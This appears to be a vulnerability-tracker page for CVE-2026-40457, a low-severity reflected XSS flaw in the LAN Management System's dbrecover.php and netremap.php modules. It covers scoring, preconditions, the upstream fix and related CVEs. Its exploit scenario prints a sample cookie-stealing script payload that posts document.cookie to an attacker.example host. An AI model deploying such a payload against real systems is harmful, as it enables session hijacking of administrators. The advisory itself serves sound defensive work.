Skip to main content

LAN Management System CVE-2026-40457

| EUVDEUVD-2026-37876 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-18 CERT-PL GHSA-3vrh-xvg4-68rm
2.1
CVSS 4.0 · Vendor: CERT-PL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify authenticated LMS administrator
  2. Delivery
    Craft malicious URL with XSS payload in db/id/mapto parameter
  3. Exploit
    Deliver link via phishing or social engineering
  4. Install
    Victim clicks link while authenticated to LMS
  5. C2
    Server reflects unsanitized parameter into HTML anchor
  6. Execute
    Arbitrary JavaScript executes in victim's browser session
  7. Impact
    Exfiltrate session cookie or perform privileged LMS actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three concurrent conditions must be satisfied: (1) The victim must be an authenticated LMS user with access to the dbrecover.php or netremap.php modules - unauthenticated users are not a viable victim pool since these are internal management interfaces; (2) the victim must actively click a crafted, attacker-controlled URL (CVSS UI:A - no passive or drive-by exploitation path exists); (3) for the netremap.php vector specifically, at least one network must be defined in the LMS instance, as the module's confirmation flow - where the injection occurs - is only reachable when network objects exist (AT:P in CVSS 4.0). The attacker requires no authentication themselves (PR:N). Exploitation is additionally constrained by LMS's typical deployment topology as an intranet-facing ISP management platform, which limits attacker reachability to those with prior network-layer access to the management segment.

Impact

The CVSS 4.0 base score of 2.1 (AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) accurately reflects a low-severity finding despite the network-facing vector. The AT:P metric (Attack Requirements: Present) is the most significant constraint - netremap.php exploitation specifically requires a network to be defined in the LMS instance, making the attack conditional on deployment configuration. The UI:A metric (Active user interaction) means a victim must click a crafted link while authenticated, ruling out automated or drive-by exploitation. Impact is entirely scoped to the victim's browser session (SC:L/SI:L), with no server-side confidentiality, integrity, or availability impact (VC:N/VI:N/VA:N). No EPSS score was included in the source intelligence and cannot be assessed independently. This vulnerability is not in CISA KEV and no public POC has been identified. The combination of social engineering prerequisite, authenticated-victim requirement, and configuration-dependent precondition places this firmly in the category of low-real-world-risk despite being network-reachable. Deployments where LMS is accessible only on internal ISP management networks further reduce attacker reachability.

Exploit ScenarioDerived

An attacker identifies an LMS administrator and crafts a phishing link embedding a JavaScript payload in the db GET parameter targeting dbrecover.php - for example, appending <script>document.location='https://attacker.example/steal?c='+document.cookie</script> as the parameter value. When the authenticated administrator clicks the link, the LMS server reflects the unescaped parameter directly into the HTML response, causing the attacker's script to execute in the victim's browser session. The attacker can then harvest the administrator's session token and perform privileged LMS operations on their behalf. No public exploit code has been identified at time of analysis, though the attack is trivially constructable from the commit diff alone.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Reflected XSS in LAN Management System (LMS) before commit 9c5651b allows network-positioned attackers to inject arbitrary JavaScript into the browsers of authenticated LMS users by crafting malicious links targeting the dbrecover.php and netremap.php modules. The db, id, and mapto GET parameters were directly concatenated into HTML anchor elements without sanitization, as confirmed by the upstream commit diff. No public exploit has been identified at time of analysis, exploitation is not confirmed in CISA KEV, and the CVSS 4.0 score of 2.1 reflects genuinely constrained impact due to the required victim interaction and specific attack preconditions.

RemediationAI

Apply the upstream fix by updating LMS to a build incorporating commit 9c5651b (https://github.com/chilek/lms/commit/9c5651b39bfd086cc34fc9a78ddaa8c0815af114), which adds htmlspecialchars() escaping to all affected GET parameters in both dbrecover.php and netremap.php. Because the fix is delivered as a commit rather than a tagged release, operators should verify via https://lms.org.pl/ or the project's release history whether a packaged release incorporating this commit has been published - the patch is upstream fix available (commit); a released patched version is not independently confirmed from available data. If immediate patching is not possible, restrict HTTP access to the dbrecover.php and netremap.php modules via web server ACLs or firewall rules limiting requests to trusted administrator IP ranges only; this eliminates the social-engineering attack vector but removes remote admin access to these modules. Refer to the CERT-PL advisory at https://cert.pl/posts/2026/06/CVE-2026-40455 for any additional vendor-specific remediation guidance.

Affected VersionsENISA

LMS 0 <9c5651b

Affected Packages

euvd lms fix: 9c5651b

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LMS is a PHP-based LAN Management System primarily used by ISPs and network operators to manage network resources, IP assignments, and subscriber data. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting): two PHP modules, dbrecover.php and netremap.php, directly interpolated unsanitized GET parameters into HTML <A href> anchor tags. Specifically, $_GET['db'] in dbrecover.php and $_GET['id']/$_GET['mapto'] in netremap.php were string-concatenated into the href attribute value with no escaping. The commit diff at 9c5651b confirms the fix: PHP's htmlspecialchars() was applied to each parameter, converting special characters to HTML entities and neutralizing injection. The CPE cpe:2.3:a:lms:lms:*:*:*:*:*:*:*:* with a wildcard version indicates the vulnerability spans the full version history prior to the patched commit.

Know when Lms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CERT-PL) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Attacker requires no authentication (PR:N), but victim must actively click a crafted link (UI:R); JavaScript executes in victim's browser scope (S:C) with low C/I impact and no server-side availability effect.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (CERT-PL).

CVSS VectorVendor: CERT-PL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

A Reflected Cross-Site Scripting (XSS) vulnerability exists in LMS (LAN Management System) before commit 9c5651b in the "dbrecover.php" and "netremap.php" modules where unsanitized GET parameters are directly embedded into HTML output. This allows an attacker to inject arbitrary JavaScript when an authenticated user clicks a crafted link, provided the required conditions (such as a network defined in the system) are met.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Lms

View all
CVE-2018-1000535 HIGH POC
7.5 Jun 26

lms version <= LMS_011123 contains a Local File Disclosure vulnerability in File reading functionality in LMS module tha

CVE-2026-39405 CRITICAL
9.4 May 20

Path traversal in Frappe Learning Management System (LMS) versions 2.50.0 and below allows authenticated users with cour

CVE-2026-40456 HIGH
8.6 Jun 18

OS command injection in LMS (LAN Management System) before commit 9fcb4de allows authenticated adjacent attackers to exe

CVE-2026-40455 HIGH
8.6 Jun 18

Error-based SQL injection in LMS (LAN Management System) before commit 4cb30a7 allows authenticated attackers to extract

CVE-2026-39385 HIGH
7.1 Jul 20

Payment validation bypass in Frappe LMS 2.51.0 and earlier lets an authenticated user enroll in paid courses for free by

CVE-2026-27404 HIGH
7.1 Jul 02

Reflected Cross-Site Scripting in the designthemes LMS WordPress theme (versions 9.7 and earlier) allows unauthenticated

CVE-2026-78532 HIGH
7.1 Oct 10

Unauthenticated reflected cross-site scripting in the Designthemes LMS WordPress theme versions 8.3 and earlier allows r

CVE-2026-34606 MEDIUM
6.9 Apr 02

Stored cross-site scripting (XSS) in Frappe Learning Management System versions 2.27.0 through 2.47.x allows unauthentic

CVE-2026-96777 LOW POC
2.1 Sep 24

SQL injection in Forma LMS up to and including version 4.1.43 allows an attacker with an authenticated session on the ad

CVE-2026-39415 MEDIUM
5.3 Apr 08

Frappe Learning Management System versions prior to 2.46.0 allow authenticated students to modify their own quiz scores

CVE-2026-61806 MEDIUM
5.3 Oct 30

Frappe Learning Management System (LMS) prior to 2.54.2 lets authenticated low-privileged users retrieve and view certif

CVE-2026-61805 MEDIUM
5.3 Oct 30

Missing server-side authorization on quiz submission records in Frappe Learning Management System (LMS) lets an authenti

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy